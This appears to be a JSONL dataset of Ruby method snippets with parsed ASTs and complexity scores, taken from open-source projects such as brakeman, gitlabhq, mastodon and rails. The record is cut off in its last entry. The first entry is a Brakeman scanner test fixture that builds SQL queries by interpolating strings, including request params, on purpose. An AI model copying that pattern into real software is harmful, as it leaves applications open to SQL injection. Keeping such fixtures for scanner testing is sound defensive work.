{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3/app/controllers/home_controller.rb","start_line":27,"raw_source":"def test_sql some_var = \"hello\"\n    User.find_by_sql \"select * from users where something = '#{some_var}'\"\n    User.all(:conditions => \"status = '#{happy}'\")\n    @user = User.first(:conditions => \"name = '#{params[:name]}'\")\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"some_var\",{\"type\":\"str\",\"children\":[\"hello\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"select * from users where something = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"some_var\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"status = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"happy\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"first\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]}]}","id":"6d0dcfd8-a77e-438d-86fe-99ab237b3616"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline/commit_description_pipeline.rb","start_line":6,"raw_source":"def self.filters\n        @filters ||= super.insert_after(Filter::ExternalLinkFilter, Filter::CommitTrailersFilter)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"insert_after\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"ExternalLinkFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"CommitTrailersFilter\"]}]}]}]}","id":"c80c15c6-2a14-47a7-858c-37059367f20f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241205162640_add_missing_delete_cascade_webauthn_credentials.rb","start_line":4,"raw_source":"def up\n    safety_assured do\n      execute <<~SQL.squish\n        ALTER TABLE webauthn_credentials\n          DROP CONSTRAINT fk_rails_a4355aef77,\n          ADD CONSTRAINT fk_rails_a4355aef77\n            FOREIGN KEY (user_id)\n            REFERENCES users(id)\n            ON DELETE CASCADE\n      SQL\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE webauthn_credentials\\n\"]},{\"type\":\"str\",\"children\":[\"  DROP CONSTRAINT fk_rails_a4355aef77,\\n\"]},{\"type\":\"str\",\"children\":[\"  ADD CONSTRAINT fk_rails_a4355aef77\\n\"]},{\"type\":\"str\",\"children\":[\"    FOREIGN KEY (user_id)\\n\"]},{\"type\":\"str\",\"children\":[\"    REFERENCES users(id)\\n\"]},{\"type\":\"str\",\"children\":[\"    ON DELETE CASCADE\\n\"]}]},\"squish\"]}]}]}]}","id":"5e24585a-74e5-44e3-af71-12ee0614beea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/exceed_query_limit.rb","start_line":106,"raw_source":"def expected_count\n    if expected.is_a?(ActiveRecord::QueryRecorder)\n      query_recorder_count(expected)\n    else\n      expected\n    end\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expected\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"QueryRecorder\"]}]},{\"type\":\"send\",\"children\":[null,\"query_recorder_count\",{\"type\":\"send\",\"children\":[null,\"expected\"]}]},{\"type\":\"send\",\"children\":[null,\"expected\"]}]}]}","id":"8606bcba-0710-48b1-a372-2ad94109514f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/timelines/link_controller.rb","start_line":20,"raw_source":"def set_preview_card\n    @preview_card = PreviewCard.joins(:trend).merge(PreviewCardTrend.allowed).find_by!(url: params[:url])\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_preview_card\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@preview_card\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PreviewCard\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"trend\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PreviewCardTrend\"]},\"allowed\"]}]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]}]}]}]}","id":"f194350a-cae6-4c33-a084-5cd822418302"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision/state_machine.rb","start_line":123,"raw_source":"def finish\n    mark_execution_servers\n    if status != 'Error'\n      number_of_vms = get_option(:number_of_vms).to_i\n      pass = get_option(:pass)\n      _log.info(\"Executing provision request: [#{description}], Pass: #{pass} of #{number_of_vms}... Complete\")\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"finish\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mark_execution_servers\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"number_of_vms\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"number_of_vms\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"pass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing provision request: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\"], Pass: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\" of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_of_vms\"]}]},{\"type\":\"str\",\"children\":[\"... Complete\"]}]}]}]},null]}]}]}","id":"17b6765b-24c4-4719-8d60-39284a27ead5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/time.rb","start_line":293,"raw_source":"def initialize(type, localtime = nil, timezone = nil)\n      @cache1_key = @cache1_time = @cache2_key = @cache2_time = nil\n\n      if type == :unixtime\n        define_singleton_method(:parse, method(:parse_unixtime))\n        define_singleton_method(:call, method(:parse_unixtime))\n      else # :float\n        define_singleton_method(:parse, method(:parse_float))\n        define_singleton_method(:call, method(:parse_float))\n      end\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"optarg\",\"children\":[\"localtime\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"timezone\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache1_key\",{\"type\":\"ivasgn\",\"children\":[\"@cache1_time\",{\"type\":\"ivasgn\",\"children\":[\"@cache2_key\",{\"type\":\"ivasgn\",\"children\":[\"@cache2_time\",{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unixtime\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"parse_unixtime\"]}]}]},{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"parse_unixtime\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"parse_float\"]}]}]},{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"parse_float\"]}]}]}]}]}]}]}","id":"eeff64b8-db5c-497f-9043-a91456064fb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/generate_list.rb","start_line":47,"raw_source":"def initialize_file\n          # If the file already exists, and this is not a force restart,\n          # new entries will be appended to it. Otherwise, force restart will\n          # cause a truncation of the existing file.\n          mode = force_restart ? 'w+' : 'a+'\n          @file = File.open(filename, mode)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mode\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force_restart\"]},{\"type\":\"str\",\"children\":[\"w+\"]},{\"type\":\"str\",\"children\":[\"a+\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"filename\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]}]}]}","id":"c7438880-c337-4d80-88ac-bf3fe069bd59"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/runner.rb","start_line":14,"raw_source":"def initialize(launcher)\n      @launcher = launcher\n      @log_writer = launcher.log_writer\n      @events = launcher.events\n      @config = launcher.config\n      @options = launcher.options\n      @app = nil\n      @control = nil\n      @started_at = Time.now\n      @wakeup = nil\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"launcher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@launcher\",{\"type\":\"lvar\",\"children\":[\"launcher\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@log_writer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launcher\"]},\"log_writer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@events\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launcher\"]},\"events\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launcher\"]},\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launcher\"]},\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@control\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@started_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@wakeup\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"e7d10ccf-03e7-476c-aee9-07105ff143e1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/report.rb","start_line":46,"raw_source":"def total_input_spending\n        model_costs.sum { |row| row.input_cost.to_f * row.total_request_tokens.to_i / 1_000_000.0 }\n      end","complexity_score":12.33,"ast_json":"{\"type\":\"def\",\"children\":[\"total_input_spending\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_costs\"]},\"sum\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"input_cost\"]},\"to_f\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"total_request_tokens\"]},\"to_i\"]}]},\"/\",{\"type\":\"float\",\"children\":[1000000.0]}]}]}]}","id":"94d9c5fd-9ac0-4afc-9d57-d9918acdd95e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/null_store.rb","start_line":42,"raw_source":"def read_entry(key, **s)\n          deserialize_entry(read_serialized_entry(key))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwrestarg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[null,\"deserialize_entry\",{\"type\":\"send\",\"children\":[null,\"read_serialized_entry\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"d1f81bbd-e9a1-41ea-b98b-5655ce436071"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/file_path.rb","start_line":60,"raw_source":"def == rhs\n      return false unless rhs.is_a? Brakeman::FilePath\n\n      self.absolute == rhs.absolute\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rhs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"FilePath\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"absolute\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"absolute\"]}]}]}]}","id":"4a93a51f-6935-4bff-84d7-643654562fb0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/page_styles.rb","start_line":44,"raw_source":"def page_footer_horizontal_spacing\n    resolve_pt(@styles.dig(:page_footer, :spacing), 6)\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"page_footer_horizontal_spacing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_pt\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"page_footer\"]},{\"type\":\"sym\",\"children\":[\"spacing\"]}]},{\"type\":\"int\",\"children\":[6]}]}]}","id":"0feb78fa-9efb-4bb4-928c-1e27e3fc3ece"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/color_math.rb","start_line":99,"raw_source":"def self.hsl_to_rgb(h, s, l)\n      h = h / 360.0\n      s = s / 100.0\n      l = l / 100.0\n\n      r = 0.0\n      g = 0.0\n      b = 0.0\n\n      if (s == 0.0)\n        r = l.to_f\n        g = l.to_f\n        b = l.to_f #achromatic\n      else\n        q = l < 0.5 ? l * (1 + s) : l + s - l * s\n        p = 2 * l - q\n        r = hue_to_rgb(p, q, h + 1 / 3.0)\n        g = hue_to_rgb(p, q, h)\n        b = hue_to_rgb(p, q, h - 1 / 3.0)\n      end\n\n      [(r * 255).round, (g * 255).round, (b * 255).round]\n    end","complexity_score":57.43,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hsl_to_rgb\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"s\"]},{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"/\",{\"type\":\"float\",\"children\":[360.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"/\",{\"type\":\"float\",\"children\":[100.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"l\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"/\",{\"type\":\"float\",\"children\":[100.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"float\",\"children\":[0.0]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"float\",\"children\":[0.0]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"float\",\"children\":[0.0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"==\",{\"type\":\"float\",\"children\":[0.0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_f\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"q\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"<\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"*\",{\"type\":\"lvar\",\"children\":[\"l\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"q\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"hue_to_rgb\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"/\",{\"type\":\"float\",\"children\":[3.0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"send\",\"children\":[null,\"hue_to_rgb\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"lvar\",\"children\":[\"h\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[null,\"hue_to_rgb\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"/\",{\"type\":\"float\",\"children\":[3.0]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"*\",{\"type\":\"int\",\"children\":[255]}]}]},\"round\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"*\",{\"type\":\"int\",\"children\":[255]}]}]},\"round\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"*\",{\"type\":\"int\",\"children\":[255]}]}]},\"round\"]}]}]}]}","id":"e9673d34-9e3a-4b4f-a3c9-1a324b5d34b0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/sort_helper.rb","start_line":181,"raw_source":"def append_direction(criterion, asc = true)\n      if asc\n        criterion\n      else\n        criterion.map { |c| append_desc(c) }\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"append_direction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"criterion\"]},{\"type\":\"optarg\",\"children\":[\"asc\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asc\"]},{\"type\":\"lvar\",\"children\":[\"criterion\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criterion\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"append_desc\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]}","id":"9224e952-954d-4d98-8405-fc5b19a65063"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":203,"raw_source":"def redirect_to_with_block_and_options\n    redirect_to proc { { action: \"hello_world\" } }\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_to_with_block_and_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"hello_world\"]}]}]}]}]}]}","id":"e646fdf3-8867-428b-aba4-24d3417a966e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/profiler.rb","start_line":46,"raw_source":"def self.profile(url, logger: nil, post_data: nil, user: nil, private_token: nil, headers: {}, profiler_options: {})\n      app = ActionDispatch::Integration::Session.new(Rails.application)\n      verb = :get\n\n      if post_data\n        verb = :post\n        headers['Content-Type'] = 'application/json'\n      end\n\n      headers['Private-Token'] = private_token if private_token\n\n      # private_token overrides user\n      user = nil if headers['Private-Token'].present?\n\n      logger = create_custom_logger(logger, private_token: headers['Private-Token'])\n\n      result = ::Gitlab::SafeRequestStore.ensure_request_store do\n        # Make an initial call for an asset path in development mode to avoid\n        # sprockets dominating the profiler output.\n        ActionController::Base.helpers.asset_path('katex.css') if Rails.env.development?\n\n        # Rails loads internationalization files lazily the first time a\n        # translation is needed. Running this prevents this overhead from showing\n        # up in profiles.\n        ::I18n.t('.')[:test_string]\n\n        # Remove API route mounting from the profile.\n        app.get('/api/v4/users')\n\n        with_custom_logger(logger) do\n          with_user(user) do\n            with_profiler(profiler_options) do\n              app.public_send(verb, url, params: post_data, headers: headers) # rubocop:disable GitlabSecurity/PublicSend\n            end\n          end\n        end\n      end\n\n      log_load_times_by_model(logger)\n\n      result\n    end","complexity_score":40.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"profile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"kwoptarg\",\"children\":[\"logger\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"post_data\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"private_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"profiler_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Integration\"]},\"Session\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"verb\",{\"type\":\"sym\",\"children\":[\"get\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verb\",{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"private_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Private-Token\"]},{\"type\":\"lvar\",\"children\":[\"private_token\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Private-Token\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[null,\"create_custom_logger\",{\"type\":\"lvar\",\"children\":[\"logger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Private-Token\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SafeRequestStore\"]},\"ensure_request_store\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},{\"type\":\